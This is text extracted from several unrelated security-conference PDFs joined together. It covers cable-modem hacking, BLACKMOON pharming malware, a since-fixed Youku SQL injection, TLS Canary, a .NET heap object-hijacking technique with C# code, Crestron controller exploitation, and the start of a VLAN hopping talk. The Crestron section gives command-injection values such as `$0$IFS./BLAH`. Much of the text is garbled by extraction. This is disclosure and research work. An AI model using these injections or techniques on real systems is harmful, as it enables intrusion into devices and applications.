Signed & Compressed (PKCS#7 & binary) – Compressed binary image – RAM dump images (uncompressed & raw) • A dump image is loaded in IDA Pro for reversing work or manipulation. • Current firmware uses VxWorks or ECOS, both are coded in MIPS-32 assembly (fun for the whole family). 40 Firmware Images Anatomy of the flash contents 41 • Unsigned firmware binary images • LZMA, CMImageTool by BOLTAR or other custom applications • Your favorite hex editor • IDA Pro Advanced • Your favorite compiler (write your own) • Serial console cable • Jtag (optional) • Vacation from real life & a lot of patience 42 Reverse & Disassemble Tools The Future • Better firmware • ISP lockdowns -Craigslist is full of morons • Docsis 3.0 -More speed, essentially the same security -Advanced class of service mappings • Purposefully designed anonymous networks -In a perfect world, this would be a priority 43 Problems & Some solutions BPI+ • Crack 56bit DES or X.509 v3 RSA? (time, money and more time) • Corporate espionage • Self signed certificates • Reverse current bpimanager & built in self signing functions Cloning Detection • Exact/Perfect clones can usually bypass this • Network access can be gained on the majority of ISP as long as authentication is passed, cloning isn’t exactly necessary • If you still can’t force a config to get network access, firmware modification is usually the answer. The situation for ISPs preventing unauthorized access still looks very bleak for several reasons 44 • Anonymous / Fast Internet on Docsis networks • Equipment used • Cloning and Perfect Clones • How to stay anonymous • Firmware flavors & features • Why it’s possible • Hardware & Security • BPI+ • Development & reversing is kind of easy • Security changes can be defeated • Future plans are just as insecure Remember this stuff 45 • Anonymous network technicians that answered questions about OSS. • Thanks to DerEngel of TCNiSO for essentially starting mainstream cable modem hacking. • Anonymous cable modem hackers who share their stories with enough information to verify. • Manufacturers for creating such insecure hardware and software. • ISPs like Comcast whose walled garden is more like an wide open picket fence. • Where da moviez at? & friends 46 Thanks Q/A • Questions? 47
pdf
HITCON Pacific 2016 Threats to the Korea Financial Sector Fly me to the BLACKMOON KYOUNG-JU KWAK, CEAT(Computer Emergency Analysis Team) FSI kjkwak@fsec.or.kr HITCON Pacific 2016 Career ~ 2015.4 KFTC (Korea Financial Telecommunications and Clearings Institute) KF-ISAC ~ 2016.6 CERT, FSI (Financial Security Institute) Currently, FSI CEAT Currently, Member of National Police Agency Cyber-Crime Advisory Committee Minister of Interior's Excellence Award, National Cyber Security Awards 2016 Highlighted Talks 1. The Case study of Incidents in Korea Financial Sector, International Symposium on Cyber Crime Response, 2014 2. Financial Security, Whitehat Contest, 2015 3. Ransomware Overview, SungKyunKwan University, 2016 4. The New Wave of CyberTerror in Korea Financial Sector, PACSEC Tokyo, 2016 5. Cyber Security : Threats to the Financial Sector, Jeju Cyber Security Conference, 2016 #About Me Kyoung-Ju Kwak (郭炅周) HITCON Pacific 2016 Agenda 1. Background 2. BLACKMOON 3. Take Down! 4. Conclusion BACKGROUND HITCON Pacific 2016 Pharming (Phishing + Farming) Background HITCON Pacific 2016 Internet Banking Service in South Korea Background - Security Programs HITCON Pacific 2016 Internet Banking Service in South Korea Background - NPKI (National Public Key Infrastructure) HITCON Pacific 2016 Internet Banking Service in South Korea Background - Security Card HITCON Pacific 2016 Internet Banking Service in South Korea Background - OTP (One Time Password) HITCON Pacific 2016 Financial Organizations Background Yessign operated by KFTC (Korea Financial Telecommunications and Clearings Institute) IFT Network = Interbank Fund Transfer HITCON Pacific 2016 Background FSS - Financial Supervisory Service Financial Organizations HITCON Pacific 2016 Background KISA - Korea Internet & Security Agency BLACKMOON HITCON Pacific 2016 BLACKMOON BLACKMOON? HITCON Pacific 2016 BLACKMOON HITCON Pacific 2016 BLACKMOON 黑月 (Blackmoon) Compiler HITCON Pacific 2016 BLACKMOON BLACKMOON BLACKMOON HOW TO FIND HITCON Pacific 2016 How to find BLACKMOON : Web Crawling HITCON Pacific 2016 How to find : Report BLACKMOON Distributing Charming malware by using Adware Homepage Pharming, being distributed continuously Pharming malware targeted Linux Users Pharming malware targeted Windows Users HITCON Pacific 2016 How to find : FSI Security Operation Center BLACKMOON BLACKMOON HOW THEY DISTRIBUTE HITCON Pacific 2016 CK VIP Exploit CVE-2014-6332 CVE-2015-2419 CVE-2015-0336 . . . How they Distribute : Websites (mainly) BLACKMOON HITCON Pacific 2016 How they Distribute : Adware (Malvertising) BLACKMOON ATTACKER ADs Server Websites containing ADs VICTIMS HACKING & INJECTING
 MALWARE INFECTED BLACKMOON HOW TO BE CHANGED HITCON Pacific 2016 Timeline (in 2013, 2014) BLACKMOON - How to be changed Modifying hosts.ics April Floating Banner May Multi-platform Malware using QRCode July Using Financial Company Website to distribute Pharming Malware December Discovery of FTP Server to store leaked certificate February Adding RAT function January Adding Chatting function on Pharming websites February 1. Modifying Local DNS configuration 2. Hiding C&C traffic by using VPN May 2013 2014 HITCON Pacific 2016 Timeline (in 2015, 2016) BLACKMOON - How to be changed Pharming Malware disguised as KISA June Distributed by compromised Adware July Targeting Japanese Financial Companies October Disguised as FSS November Fake Input form May Adding PAC (Proxy auto-config) function January Using r.pengyou.com to receive dynamic Pharming Server IP October 2015 2016 BLACKMOON - How to be changed Redirection HITCON Pacific 2016 Modifying Local Hosts file (~ 2015) BLACKMOON - How to be changed - Redirection kbstar.com ibk.co.kr shinhan.com nonghyup.com wooribank.com HITCON Pacific 2016 Automatic Configuration Script (2016 ~ Current) BLACKMOON - How to be changed - Redirection HITCON Pacific 2016 Automatic Configuration Script BLACKMOON - How to be changed - Redirection HITCON Pacific 2016 Automatic Configuration Script SHA1(SHA1(DOMAIN) + ‘666’) SHA1(SHA1(DOMAIN) + ‘soasox’) BLACKMOON - How to be changed - Redirection HITCON Pacific 2016 Automatic Configuration Script Difficult to find targets BLACKMOON - How to be changed - Redirection HITCON Pacific 2016 Automatic Configuration Script BLACKMOON - How to be changed - Redirection BLACKMOON - How to be changed C&C Communication HITCON Pacific 2016 BLACKMOON - How to be changed Network Receive Pharming server IP #1 users.qzone.qq.com blog.sina.com.cn {r.pengyou.com HITCON Pacific 2016 BLACKMOON - How to be changed Network Receive Pharming server IP #2 HITCON Pacific 2016 BLACKMOON - How to be changed Network Receive Pharming server IP #3 HITCON Pacific 2016 BLACKMOON - How to be changed Network Send Infected PC information HITCON Pacific 2016 BLACKMOON - How to be changed Network Send Certificates Conclusion HITCON Pacific 2016 1. Best solution to stop BLACKMOON is Arresting Criminals 2. Lots of people are suffering from BLACKMOON - Some of victims tried to commit suicide 3. By Sharing information, we’re able to take them down again CONCLUSION Special Thanks to My Wife, Kyle Choi, Jong-Hyun Moon Q & A (kjkwak@fsec.or.kr) Thank you
pdf
优酷主站一处 SQL 注入 注:该文档仅“Web 安全”小蜜圈交流之用,漏洞已经修复,请勿外传,如出现 法律问题,外传该文档者自行承担法律责任。 在测试上个 XSS 的时候,无意跑的,注入点在配色的这个请求包上: 然后确定的时候用 burpsuite 抓包,给 color_page_back 参数后面加了个双引号,就爆了 了 mysql 的错: 然后给后面加个*,扔进 sqlmap: 就跑出来啦~ 为了证明危害,我这里还跑出来了数据库名:
pdf
TLS$Canary$ Keeping$your$dick$pics$ safe(r)$ US$ •  Evilrob$ –  Rob$Bathurst$ –  Director$for$Healthcare/Biomedical$Security$ –  Cylance$ •  xaphan$ –  Jeff$Thomas$ –  Plays$with$other$people's$computers$ –  Is$barely$awake$right$now$ "The$good$news$is$that$there's$no$ program$named$the$'dick$pic'$program.$ The$bad$news...$they$are$sNll$collecNng$ everybody's$informaNon,$including$ your$dick$pics."$ PP$Edward$Snowden$ Wouldn't$we$all?$ (Please don't sue us, John.) How$the$Tubes$Work$ •  HTTP$ –  Your$data$is$not$protected$ •  Duh$ –  I$mean$really$ –  How$your$data$is$protected$ •  HTTPS$ •  EncrypNon$suites$$ Tubes$Part$Two$ •  HTTPS$ –  SSL$ •  Where$did$it$come$from?$ •  How$does$it$work?$ •  Why$it’s$old$and$busted$ –  TLS$ •  New$and$Improved!$ –  VPN$ •  VPN$everything?$ •  EndPtoPEnd$vs$VPN$ •  Difficulty$$ More$Tubes!$ •  SSH$ –  Does$it$blend?$ •  SFTP$ –  Does$it$blend?$ •  DNSSEC$ –  Does$it$blend?$ CerNficates$ •  WTF?$ •  How$do$they$work?$ •  What$do$we$do$with$them?$ •  What$are$Cert$Chains?$ •  What$is$Cert$Pinning?$ WTF$is$this$cert$for?$ •  History$ –  Secure$Networking$Program$ –  Netscape$ •  Dr.$Taher$Elgamal$ •  SSL$ –  RFC$6101$ •  SSL$1.0$ –  RFC$6176$ •  TLS$1.2$ –  TLS$1.3$(drab)$ How$does$a$cert$work$(basically)?$ •  It’s$all$built$on$trust$ –  It$doesn’t$always$work$ –  And$is$broken$ •  Legit$certs$are$signed$by$a$trusted$CA$$ •  Our$browsers$trust$anything$signed$by$that$ root$CA$ –  You$can’t$change$that$ •  Sessions$get$negoNated$by$magic$ •  You$send$your$dick$pics$through$ What$do$we$do$with$them? $$ •  Literally$anything$related$to$idenNty$$ –  Device$certs$ –  User$certs$ –  ApplicaNon$certs$ –  Oprah$Style$distribuNon$ •  Certs$for$your$mom!$ •  Certs$for$your$cat!$ •  Certs$for$everyone!$ Why$This?$ •  Do$we$hate$TLS?$ –  Are$you$sure?$ •  VPNs$suck$ •  Things$we$actually$like$ –  Ourselves$ –  Some$of$you$ –  Systems$that$are$not$built$on$blind$trust$ Chain$of$Fools$ •  I$am$trusted$by$the$world$ –  You$trust$me$ –  You$pay$me$money$ –  I$sign$your$cert$$ •  Your$cert$is$now$trusted$by$anyone$who$ trusts$me$ –  Which$is$everyone,$because$I’m$in$your$root$store$doing$root$stuff$ •  You$can$now$say$you’re$whoever$you$asked$ to$be$ –  mail.google.com$vs$*.google.com Pinning$ •  Conceptually$how$we$should$be$doing$all$ applicaNons$and$sites$ –  Trust$this$and$this$only$ •  Hard$to$configure$$ •  ImplementaNon$varies$$ –  Google$HSTS$ •  Hong$Kong$Post$Office$cannot$issue$a$cert$for$ your$SendDickPicsToEveryone$applicaNon$ –  App$only$trusts$that$app$cert$signed$by$you$ IntercepNon$ •  Cue$scary$music!$ •  iOS$trusts$about$226$ –  Does$not$ask$you$if$it’s$ok$ •  HTTPS$breakdown$ –  MiTM$ $ 16$ IntercepNon$ •  Abnormal$“Secure”$CommunicaNon$ –  Legal$stuff$ •  Work$machines$ •  Load$balancers$ •  .gov$request$ –  Not$so$good$(but$maybe$secretly$legal)$ •  .gov$demand$ •  Criminals$(see$previous)$ •  AdverNsers$$ MiTM$Demo$ TLSCanary$ •  Our$goals$ –  ProtecNng$your$dick$pics$from$bored$analysts$ –  User$awareness$ –  Stopping$shady$shit$ •  What$the$tool$does$ –  Cert$Diff$ –  InPplugin$cert$pinning$ –  Root$cerNficate$audit$ –  Let$you$know$some$bad$shit$may$be$happening$ TLSCanary$ •  What$it$doesn't$do$ −  Protect$you$from$a$compromised$site$ −  Protect$you$from$hijacked$ −  Protect$your$dick$pics$at$rest$ TLSCanary$Network$ •  Dead$Birds$everywhere$ –  Global$network$ •  Scalable$ •  How$it$works$ –  A$site$presents$a$TLS$cert$to$you$ –  You$send$the$cert$chain$to$TLSCanary$ –  TLSCanary$grabs$the$site's$cert$chain$ –  TLSCanary$reports$the$diff$result$to$you$ TLSCanary$Demo$ Why$Use$TLSCanary$ •  It’s$designed$to$help$you$have$greater$ awareness$ •  We$do$not$cache$request$data$$ •  It’s$lightweight$ •  We$value$the$safety$of$your$dick$pics$ •  Why$not?$ –  Really,$bro.$ •  Use$it.$ Why$Not$to$Use$it?$ •  No$reason$I$can$think$of.$ •  Unless$you$don’t$trust$us?$ •  You$shouldn’t$trust$us.$ Where$to$Find$TLSCanary?$ •  hkps://tlscanary.com$ How$to$Contribute$ •  hkps://github.com/tlsPcanary$ Beer$Scotch$and$QuesNons$
pdf
1 Acquiring .NET Objects from the Managed Heap Topher Timzen Southern Oregon University Cybersecurity Research Lab F ABSTRACT This paper will describe how to use instantiated objects on the .NET CLR Managed Heap as if they were declared locally. It will be shown that by referencing an object pointer from the Managed Heap, an attacker can take control over any object being used in an application. Reflective techniques will be discussed and a signature will be introduced to find objects on the Managed Heap. 1 INTRODUCTION The .NET Framework uses the Common Lan- guage Runtime, CLR, to manage the execution of .NET programs. There are 4 major versions of the CLR available and multiple .NET versions within each [2]. | CLR Version | .NET Version | |−−−−−−−−−−−−−|−−−−−−−−−−−−−−−| | 1.0 | 1.0 | | 1.1 | 1.1 | | 2.0 | 2 . 0 , 3 . 0 , 3.5 | | 4.0 | 4 . 0 , 4.5 | For the purpose of this paper, only CLR versions 2.0 and 4.0 will be discussed as the author feels 1.0 and 1.1 are not relevant for attacking modern applications. Using Reflection [4] key information about an object can be discovered. A plethora of information in objects is useful for attacking or reverse engineering such as a list of fields, instance methods, static methods and variables that an object contains. Furthermore, once an object is locally accessible an attacker can ma- nipulate it in any way they want. Any object can be instantiated using reflec- tion. While that local reference is not neces- sarily usable by an attacker, it can be used to reveal both the signature of all objects of that class and the memory location of the Managed Heap, bypassing any Address Space Layout Randomization, ASLR. All instantiated objects from a specific class share the same Method Table (MT) pointer, which will be used later to locate objects on the Managed Heap. Once the MT for a specific class is known and the Managed Heap discovered, an attacker can scan through the Managed Heap to locate all objects instantiated from a specific class and use them locally. To showcase this technique a sample application written in .NET will be utilized and compiled in x86 and x64 with both the 2.0 and 4.0 CLR. 2 FINDING OBJECTS WITH WINDBG In order to understand what objects look like in memory WinDbg was used frequently in the author’s analysis. Using the SOS Debugging Extension (SOS.dll), WinDbg allows the user to debug managed applications (programs using the CLR)[3]. The most useful extensions to lo- cate and understand objects are dumpheap and dumpobj. The following WinDbg results are for the 2.0 CLR in x86, but the same techniques apply for all runtimes and x64. 2 Running dumpheap will show all of the ob- jects on the Managed Heap, where each object lives on the heap, the size of the object and its MT pointer. Most of the addresses from dumpheap for the following example are within the range 0x02721000 to 0x0284f35c with a few appearing from 0x03721000 to 0x037f0578. So far, objects of concern have appeared within the lesser range as newly created objects are allocated there. 0:009 >!dumpheap Address MT Size [ snip ] 0284 c1b8 6e3da388 36 0284 c1dc 6b2b390c 72 0284 c224 6b2b3ba0 16 0284 c234 6e3da4f8 16 0284 c244 6e3d9fb4 32 0284 c264 6b2b3ba0 16 [ snip ] t o t a l 25237 objects Furthermore, this extension will show the statistics for each object instantiated which in- cludes the number of them present on the Man- aged Heap. 0:009 >!dumpheap [ snip ] S t a t i s t i c s : MT Count TotalSize Class Name [ snip ] 6db6ce80 1 100 System . Diagnostics . FileVersionInfo 6b2aa3e4 5 100 System . Windows . Forms . RichTextBox+ OleCallback 6 af488e8 5 100 System . Configuration . ConfigurationSchemaErrors 007 c078c 5 100 GrayStorm . shellcode . dataBox All objects of the same type share the same Method Table, which provides metadata about Object Instances [1]. Using the -mt parameter on dumpheap and giving it an MT address from above, all objects using that Method Table are shown. 0:008> ! dumpheap −mt 007 c078c Address MT Size 027 fb5b0 007 c078c 20 027 fb5e4 007 c078c 20 027 fb5f8 007 c078c 20 027 fb60c 007 c078c 20 027 fbf84 007 c078c 20 t o t a l 5 objects S t a t i s t i c s : MT Count TotalSize Class Name 007 c078c 5 100 GrayStorm . shellcode . dataBox Total 5 obje cts Now all objects instantiated from GrayStorm.shellcode.dataBox are shown as they all pointed back to the MT at 0x007c078c. dumpobj can now be used on the address of an object to show its fields and more information about it. 0:008> ! dumpobj 027 fb5b0 Name: GrayFrost . shellcode . dataBox MethodTable : 007 c078c EEClass : 00336 fd4 Size : 20(0 x14 ) bytes (C:\ bin\GrayFrost . exe ) Fields : MT Field Offset Type VT Attr Value Name 6e3e0d48 40001 ac 4 System . String 0 instance 027 fb45c name 6e3e37b8 40001ad 8 System . Byte [ ] 0 instance 027 fae0c data 6 e3e2f94 40001 ae c System . Int32 1 instance 0 indexToStartCleaning The first four bytes of the above object hold a pointer back to its Method Table. 0:008> db 027 fb5b0 027 fb5b0 8c 07 7c 00 5c b4 7 f 02−0c ae 7 f 02 00 00 00 00 . . | . \ . . . . . . . . . . . Reconstructing the whole Method Table and Object Instance is not important because once a reference object is available in a local scope reflection can be used and anything about that object can be seen. The size of an Object In- stance is necessary to create a robust scanner and the size is the second four byte block of a MT as shown by Kommalapati and Christian [1]. Using the knowledge that an instance ob- ject’s first four bytes are the Method Table and all like objects share the same one, an attacker can find the location of the heap in memory and brute force it by looking for a Method Table reference they require to obtain local object references. 3 FINDING OBJECTS AT RUNTIME In order to find objects at runtime, the exact location of the Managed Heap needs to be discovered. To discover this location a signa- ture for the specific kind of object for which one is searching needs to be instantiated. Once instantiated, the Managed Heap location can be found as well as the MT for the object. Utilizing Reflection the constructor of a class can be called to instantiate a local reference. 3 Type re fc = typeof ( GrayFrost . testMethods ) ; ConstructorInfo ctor = r ef c . GetConstructor ( Type . EmptyTypes ) ; object wantedObject = ctor . Invoke (new object [ ] { } ) ; Once we have a local reference we are able to discover its raw memory address by manip- ulating a method’s stack frame (Keep in mind that the details of obtaining the raw IntPtr to an object differs between x86 and x64 assembly because of how they handle argument passing). For both architectures, unsafe code will be uti- lized in C# (which is still usable in a target application compiled disallowing unsafe code) to obtain a raw object pointer. 3.1 x86 In order to obtain the object pointer, an IntPtr will be declared locally and then dereferenced to obtain the objects pointer in memory by traversing through the current stack frame. public s t a t i c IntPtr getObjectAddr ( object wantedObject ) { IntPtr objPtr = IntPtr . Zero ; unsafe { objPtr = ⇤(& objPtr − 3) ; } return objPtr ; //0x260a4c8 } objPtr will now contain the address of the wantedObject. In the .NET CLR Object In- stances are pointers back to their Object Table on the Managed Heap, which means we now know the location of the heap. 0:008> ! do 260 a4c8 Name: GrayFrost . testMethods MethodTable : 00286d34 EEClass : 00382348 Size : 12(0 xc ) bytes (C:\ bin\GrayFrost . exe ) Fields : MT Field Offset Type VT Attr Value Name 6e0437b8 4000002 8 System . Byte [ ] 0 s t a t i c 0260 a3fc obj ectP tr Now that the address of the object table is known and there is a reference to the Method Table location, the first four bytes in memory of the object at memory location 0x260a4c8, the Managed Heap can be brute-forced for other objects matching that signature. The below pseudocode is the author’s approach to brute forcing the Managed Heap. For searching at a negative offset the size field (from the Method Table) cannot be utilized and the addresses are read linearly. While valid memory at positive o f f s e t from object Obtain object size and jump to next object Check f i r s t four bytes for matching Method Table IF Method Tables match Add object IntPtr to l i s t While valid memory at negative o f f s e t from object Check each 4 byte MT address to see i f i t s address i s the same as the wantedObjects IF MethodTables match Add object IntPtr to l i s t Once the brute forcing is finished a listing of all object IntPtrs of GrayFrost.testMethods are present and need to be converted back into the object type. Again utilizing stack manipulation .NET can be tricked into placing an IntPtr into an object pointer because as previously shown objects are IntPtrs. The below code will take an IntPtr and place it into a local object. public s t a t i c object GetInstance ( IntPtr ptrIN ) { object r e f e r = ptrIN . GetType ( ) ; IntPtr objPtr = ptrIN ; unsafe { ⇤(& objPtr − clrSub ) = ⇤(& objPtr ) ; } return r e f e r ; } 3.1.1 CLR 2.0 vs CLR 4.0 I discovered for both the 2.0 and 4.0 CLR on x86 the wantedObject parameter was at a negative stack offset of 3 from objPtr. Also, the clrSub offset is 1 for CLR 2.0 and 2 for CLR 4.0 to place an IntPtr into an object. 4 3.2 x64 By placing three local variables in a method, see below, I discovered that the address of the object will become present. If there are less than three local arguments, the CLR does not place the object pointer in a reachable range. public s t a t i c IntPtr getObjectAddr64 ( object wantedObject ) { IntPtr objPtr = ( IntPtr ) 4; object r e f e r = wantedObject ; IntPtr objPtr2 = ( IntPtr ) 8; unsafe { objPtr = ⇤(& objPtr + clrSub ) ; } return objPtr ; } Once the objPtr is known, the x86 pseudo code for finding objects will also work. For getting an object back from an IntPtr, the below code can be used. public s t a t i c object GetInstance64 ( IntPtr wantedObject ) { IntPtr objPtr = wantedObject ; object r e f e r = wantedObject . GetType ( ) ; IntPtr objPtr2 = ( IntPtr ) 8; unsafe { ⇤(& objPtr + 1) = ⇤(& objPtr ) ; } return r e f e r ; } 3.2.1 CLR 2.0 vs CLR 4.0 There are no differences in the above methods for CLR 2.0 and 4.0 for x64 assembly. 4 CONCLUSION An attacker now has the ability to instantiate any object of their choice, brute-force the Man- aged Heap for other objects instantiated from the same class, and use them as if they were de- clared locally. Using Reflection, all of the fields and properties of an object can be viewed and altered and instance methods can be called. The underlying power for .NET attack chains using constructed objects is massive as attackers can instantiate any object, find all other objects on the heap that match it and do anything with them. REFERENCES [1] Hanu Kommalapati and Tom Christian, Drill Into .NET Framework Internals. [2] Microsoft Corporation. Common Language Runtime (CLR). [3] Microsoft Corporation. SOS.dll (SOS Debugging Extension) [4] Jon. Reflections Hidden Power. May 2002.
pdf
Who Controls the Controllers? Hacking Crestron IoT Automation Systems Copyright 2017 Trend Micro Inc. 2 Who am I? • Offensive Security Research on ASR team at Trend Micro – Focused mainly on IoT research – Break things in interesting ways and build cool exploit demos – Report vulns to ZDI and work with vendors to fix issues – 40+ disclosed vulnerabilities • Conference speaker – Defcon, Recon, Ruxcon, Toorcon, etc Copyright 2017 Trend Micro Inc. 3 What is Crestron? Copyright 2017 Trend Micro Inc. 4 IoT Device Controllers • Audio/video distribution • Lighting/shades • Home automation • Building management systems (BACNET) • Access control/security • Etc… Copyright 2017 Trend Micro Inc. 5 Fully Programmable/Customizable • SIMPL – Symbol Intensive Master Programming Language – Write programs for UI and device actions • Device control methods – IR – Serial – TCP/IP – Relay – MIDI – Cresnet • Interact with and program controllers via Crestron Terminal Protocol (CTP) • Crestron devices intercommunicate via Crestron Internet Protocol (CIP) • Programming can be complex, usually handled by professionals Copyright 2017 Trend Micro Inc. 6 Deployment • Universities • Office environments • Sports arenas • Airports • Hotels • Rich people's houses Copyright 2017 Trend Micro Inc. 7 Deployment https://www.crestron.com/getmedia/06b92c9d-c262-4190-bf52-4180d8f77fca/mg_2017_Brochure_Workplace-Tech-Design-Guide Copyright 2017 Trend Micro Inc. 8 Deployment • “Microsoft chose Crestron as its exclusive partner to manage all AV and meeting room resources worldwide.” – https://support.crestron.com/app/answers/answer_view/a_id /4818/~/what-kind-of-security-and-encryption-crestron- deploys • “Crestron and Microsoft are technology leaders now working together to develop future digital media innovations.” – http://www.crestron.com/getmedia/3321a1e7-f0d6-47b8- 9021-a473981f8983/cs_Microsoft_World_Headquarters Copyright 2017 Trend Micro Inc. 9 Deployment • Massachusetts Bay Transit Authority – https://www.crestron.com/en-US/News/Case- Studies/Massachusetts-Bay-Transit-Authority • Chicago Police Department – https://www.crestron.com/en-US/News/Case- Studies/Chicago-Police-Department • American Water Corporate Headquarters – https://www.crestron.com/en-US/News/Case- Studies/American-Water-Corporate-Headquarters Copyright 2017 Trend Micro Inc. 10 Deployment https://www.crestron.com/en-US/News/Case-Studies/Senate-of-Virginia Copyright 2017 Trend Micro Inc. 11 Deployment http://hughsaudiovideo.com/hospitality_showcase.pdf Copyright 2017 Trend Micro Inc. 12 Products • 3-Series controllers – CP3, MC3, PRO3 – DIN rail • Touch screens – TSx – TPCS, TPMC – “One in every room” type deployments Copyright 2017 Trend Micro Inc. 13 Products And more… Copyright 2017 Trend Micro Inc. 14 Platforms • Mainly Windows – Most products run WinCE 6 – Some other embedded Win versions allegedly • Some Android/Linux – Touch screens (TSx) – Video processors and digital media streamers (DGE-100, DMC- STR, etc) – More? • If something is specific to either the Windows or Android platform, I’ll do my best to call it out Copyright 2017 Trend Micro Inc. 15 Discovery • Magic packet to UDP 41794 (broadcast or unicast) – "\x14\x00\x00\x00\x01\x04\x00\x03\x00\x00" + hostname + "\x00" * (256 - hostname.length) • Response gives: – Hostname – Product – Firmware version – Build date Copyright 2017 Trend Micro Inc. 16 Discovery • Shodan results between 20,000 and 23,000 • Most common product is split between CP3 and MC3 results from 2018/06/11 Copyright 2017 Trend Micro Inc. 17 So What is Crestron? • A lot of different things • Running different programs • On different platforms • In different environments But there are a couple universal truths… Copyright 2017 Trend Micro Inc. 18 Anonymous Admin on CTP Console Copyright 2017 Trend Micro Inc. 19 CTP Console • Main programming interface for devices • Telnet-like console on TCP 41795 • Sandbox file system/commands • Auth is available – Different user levels (Administrator, Operator, Programmer, User, etc) – Active Directory tie-ins – Encryption • Auth is disabled by default – Reliant on programmer/installer to be security conscious – Adds more complexity to already complex system – Enabling is a multi-step process – Never gets turned on Copyright 2017 Trend Micro Inc. 20 CTP Console Copyright 2017 Trend Micro Inc. 21 Standard CTP Functionality • Change system and service settings – Auth settings – Web portal settings – SSH/Telnet/FTP – Basic SIP settings (Android?) • Networking info/config • Arbitrary file upload – fgetfile/fputfile - HTTP/FTP file transfer – xgetfile/xputfile - XMODEM file transfer Copyright 2017 Trend Micro Inc. 22 Standard CTP Functionality • Firmware updates • Run and control user programs • Control output to other devices – Display messages on OSD – Play audio/video files Copyright 2017 Trend Micro Inc. 23 Hidden CTP Functionality • Running processes: taskstat Copyright 2017 Trend Micro Inc. 24 Hidden CTP Functionality • View/modify stored certificates: certificate Copyright 2017 Trend Micro Inc. 25 Hidden CTP Functionality • Dr Watson dumps: drwatson (WinCE) Copyright 2017 Trend Micro Inc. 26 Hidden CTP Functionality • Direct chip communication: readi2c/writei2c (WinCE?) Copyright 2017 Trend Micro Inc. 27 Hidden CTP Functionality • Browser remote control: browseropen/browserclose (Android) Copyright 2017 Trend Micro Inc. 28 Hidden CTP Functionality • UI interaction: fakekey/faketouch (Android) Copyright 2017 Trend Micro Inc. 29 Hidden CTP Functionality • Record audio via microphone: recwave (Android) Copyright 2017 Trend Micro Inc. 30 DEMO Copyright 2017 Trend Micro Inc. 31 A Few RCE Vulns… Copyright 2017 Trend Micro Inc. 32 Cmd Inj Vulns on Android Platform • 22 command injection vulns so far in CTP console – ping (CVE-2018-5553) • Simultaneously discovered by Cale Black and Jordan Larose of Rapid7 • https://blog.rapid7.com/2018/06/12/r7-2018-15-cve-2018- 5553-crestron-dge-100-console-command-injection-fixed/ – But also adduser, cd, copyfile, delete, dir, fgetfile, fputfile, isdir, makedir, movefile, removedir, routeadd, routedelete, udir, updatepassword, wifipskpassword, wifissid, wifiwephexpassword, wifiweppassword, and more… Copyright 2017 Trend Micro Inc. 33 Cmd Inj Vulns on Android Platform • Commands implemented programatically on WinCE platform • Just punted to shell on Android • Most were simple to exploit – EX: isdir `cmd` Copyright 2017 Trend Micro Inc. 34 Cmd Inj Vulns on Android Platform Copyright 2017 Trend Micro Inc. 35 routeadd/routedelete Exploitation • First problem – Arguments get up-cased before use – Linux commands are case-sensitive • Solution – Create shell script containing desired commands – Name it “BLAH” – Upload it with fgetfile command Copyright 2017 Trend Micro Inc. 36 routeadd/routedelete Exploitation • Second problem – Uploaded script doesn’t have exec perms – $SHELL/$BASH not set • Solution – $0 returns name of calling program – When used in system() call, it returns name of shell instead – Final injected string: `$0$IFS./BLAH` – Could have also used . (as in the command) in place of $0 Copyright 2017 Trend Micro Inc. 37 DEMO Copyright 2017 Trend Micro Inc. 38 Round 2? • Kept finding more vulns while root causing others • Had to cut myself off due to time constraints • Pretty positive there is more to find Copyright 2017 Trend Micro Inc. 39 I Want More! • Significant amount of control by default • Can escape CTP sandbox on Android using vulns • But what about WinCE?…What about a more “legit” escape on Android? Copyright 2017 Trend Micro Inc. 40 SUPER SECRET BONUS DEMO Copyright 2017 Trend Micro Inc. 41 Conclusions • Potential for good security practice is there but disabled by default – Installers/programmers not security conscious or just concerned with getting everything working – Normal users unaware of problem – If security isn't enabled by default, it is probably not going to be enabled Copyright 2017 Trend Micro Inc. 42 Conclusions • Wide deployment, including sensitive environments – High potential for abuse by insider threats • Boardroom spying/corporate espionage • Messing with building/access control systems • Hotel guests spying on other guests – Even “isolated networks” are not good enough Copyright 2017 Trend Micro Inc. 43 Conclusions • Android platform seems much less secure than WinCE platform – Surprising at first, but makes sense • Crestron has long history with WinCE • Microsoft partnerships • Newer to the Linux/Android world • Too much product fragmentation? Copyright 2017 Trend Micro Inc. 44 Huge Amount of Auditing Left • More CTP attack surface – More RCE vulns? – SIMPL and PUF • Other services – CIP, HTTP, FTP, SIP, SNMP, SSH, Telnet, etc… • Other products – Fusion, Xpanel, AirMedia, XIO Cloud, etc… • IOAVA Copyright 2017 Trend Micro Inc. 45 Questions? Hit Me Up • Twitter – https://twitter.com/HeadlessZeke • Email – ricky[underscore]lawshae[at]trendmicro[dot]com • Github – https://github.com/headlesszeke Copyright 2017 Trend Micro Inc. 46 Thank You
pdf
VLAN Hopping, ARP Poisoning & Man-In-The-Middle Attacks in Virtualized Environments Ronny Bull Dr. Jeanna Matthews & Kaitlin Trumbull (DEF CON 24) Road Map © 2016 Ronny L. Bull - Clarkson University ● Context for the Problem of Layer 2 Network Security in Virtualized Environments – Virtualization, Multi-tenant environments, Cloud services ● Test platforms – Array of virtual networking implementations tested ● Specific attacks and results – MAC Flooding, DHCP Attacks (previously discussed at DEF CON 23 – VLAN Hopping, ARP Poisoning (this talk) ● Conclusions © 2016 Ronny L. Bull - Clarkson University ● All client virtual machines hosted in a multi-tenant environment are essentially connected to a virtual version of a physical networking device. So do Layer 2 network attacks that typically work on physical devices apply to their virtualized counterparts? ● Important question to explore: – All cloud services that rely on virtualized environments could be vulnerable – This includes data centers hosting mission critical or sensitive data! ● Not the only class of attacks from co-located VMs ● Old lesson: vulnerable to those close to you Key Question What If? © 2016 Ronny L. Bull - Clarkson University © 2016 Ronny L. Bull - Clarkson University ● Our research proves that virtualized network devices DO have the potential to be exploited in the same manner as physical devices. ● In fact some of these environments allow the attack to leave the virtualized network and affect the physical networks that they are connected to! Bottom Line © 2016 Ronny L. Bull - Clarkson University ● So what if a malicious tenant successfully launches a Layer 2 network attack within a multi-tenant environment? – Capture all network traffic – Redirect traffic – Perform Man-in-the-Middle attacks – Denial of Service – Gain unauthorized access to restricted sub-networks – Affect performance Consequences ● MAC Flooding Attack ● Performance evaluation updates since our last talk ● VLAN Hopping ● Attack Scenario Descriptions ● Summary of Results ● ARP Poisoning ● Man-In-The-Middle Attacks ● Summary of Results © 2016 Ronny L. Bull - Clarkson University Test Scenarios & Results Old Test Environment Built from what we could salvage (RIP – you served us well!) © 2016 Ronny L. Bull - Clarkson University © 2016 